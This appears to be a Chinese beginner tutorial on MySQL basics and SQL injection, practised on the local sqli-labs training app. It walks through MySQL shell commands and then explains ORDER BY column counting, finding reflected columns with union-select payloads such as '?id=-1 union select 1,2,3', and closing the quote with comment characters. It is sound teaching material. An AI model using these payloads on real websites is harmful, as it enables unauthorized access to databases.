MySQL基础

不论是在使用kali的工具,还是web漏洞中,数据库的使用都会有所涉及。因此我们先来从较常用MySQL入手。同样对于许多人来说,在网上常看到回显位,以及一些用语不知道是什么

MySQL的结构

首先我们要对MySQL是如何存储数据有一个简单的认识,在MySQL中数据是一张一张的表单请添加图片描述

1
2
在MySQL中存在多个数据库,在每个数据库中又存在多张表,每张表就对
应一系列数据,如上图。

MySQL的简单使用

要学习sql注入,对语法的了解肯定少不了,这里我们简单演示一下如何创建一张表单。(要了解更多可以去学习一下MySQL),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
mysql> show databases;                      //查看表单
+--------------------+
| Database |
+--------------------+
| challenges |
| information_schema |
| mysql |
| performance_schema |
| security |
| sys |
| test_one |
+--------------------+
7 rows in set (0.01 sec)

mysql> create database test; //创建一个数据库
Query OK, 1 row affected (0.04 sec)

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| challenges |
| information_schema |
| mysql |
| performance_schema |
| security |
| sys |
| test | //这个为我们创建的
| test_one |
+--------------------+
8 rows in set (0.00 sec)

mysql> use test; //使用数据库
Database changed
mysql> create table test( //创建一个表单
-> id int,
-> name char(10),
-> password int
-> );
Query OK, 0 rows affected (0.06 sec)

mysql> insert into test(id,name,password) values(1,"john",123456); //插入数据
Query OK, 1 row affected (0.01 sec)

mysql> select * from test; //查看我们的表单
+------+------+----------+
| id | name | password |
+------+------+----------+
| 1 | john | 123456 |
+------+------+----------+
1 row in set (0.00 sec)

MySQL注入原理

在网站中数据是分开单独储存的,因此在查询数据时需要将sql语句传过去,而对于该sql语句进行恶意的拼接,从而查询到其他数据。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
对于这个url我们改变id的值能得到不同的值。
请添加图片描述
请添加图片描述

1
2
3
这里我们可以把它看作在数据库中执行了语句:
SELECT * FROM users WHERE id='$id'
它根据我们id传入不同的值,查询到不同的结果。

MySQL注入的思路(包括回显位)

1
2
3
4
5
6
7
8
1.先通过order by猜解字段数(可以理解为列数):
?id=1 order by n n为数字,当n报错时,得到字段数为n-1
2.判断回显位:
?id=-1 union select 1,2,3 一直到你刚刚猜解的字段数
这个时候你可以得到一些数字,如下:
Welcome Dhakkan
Your Login name:2
Your Password:3

在这里你可能会问为什么要判断回显位,为什么要让id=-1?
首先回显位,你可以将表的每一列看成一个单独的,并不是每一列都可以通过外部语句操作的,判断回显位就相当于你在找哪些列是可以进行操作的,当你在不可以操作的列输入语句是不会得到结果的,因此得到的数字决定你的语句写的地方。
让id=-1是为了让前面这个语句不会输出结果,以免让你回显位无法得到,所以id=-2等其他的也可以

1
2
3
4
5
6
3.在回显位输入语句:
?id=1 union select 1,user(),database()
如: Your Login name:root@localhost
Your Password:security
也可以这样构造:?id=1 union select 1,user(),3
?id=1 union select 1,2,database()

简单的MySQL注入就如上,要想得到更多信息可以学习最后MySQL注入攻击中的手段
一般注入获取信息的顺序为数据库名字–>表名字–>列名字–>所有数据

对于注入中的“ ‘ ”以及#,–的理解

对于许多小白来说,有的语句中加“ ‘ ”,有的加“ –”或“#”,这些看着云里雾里的,不知道为什么?其实这是因为我们的传值并不是直接在MySQL中执行,而是要经过php的拼接

1
2
3
4
5
6
7
8
9
10
在php中定义了一个语句:
$sql="SELECT * FROM users WHERE id='$id' "; //这里的双引号是表示字符串类型,不会传入
当我们传入id的值时,它是直接替换了$id,例如我们传入id=1
$sql="SELECT * FROM users WHERE id='1' ";
但是当我们传入一个语句时,就产生了id=语句,而数据库中id不存在那个值,就会报错
$sql="SELECT * FROM users WHERE id='1xxxxxxxxxx' ";
这个时候我们就需要一个’来闭合前面的‘:
$sql="SELECT * FROM users WHERE id='1’xxxxxxxxxx' ";
但是原本还有一个’会使语句报错,因此需要将其注释掉,就引入了#,--:
$sql="SELECT * FROM users WHERE id='1’xxxxxxxxxx#' ";

MySQL注入攻击

了解完sql注入的原理了,还是不够的,对于实际中的注入,还需要去了解下面四种手段:
布尔盲注
时间盲注
联合查询
基于错误信息注入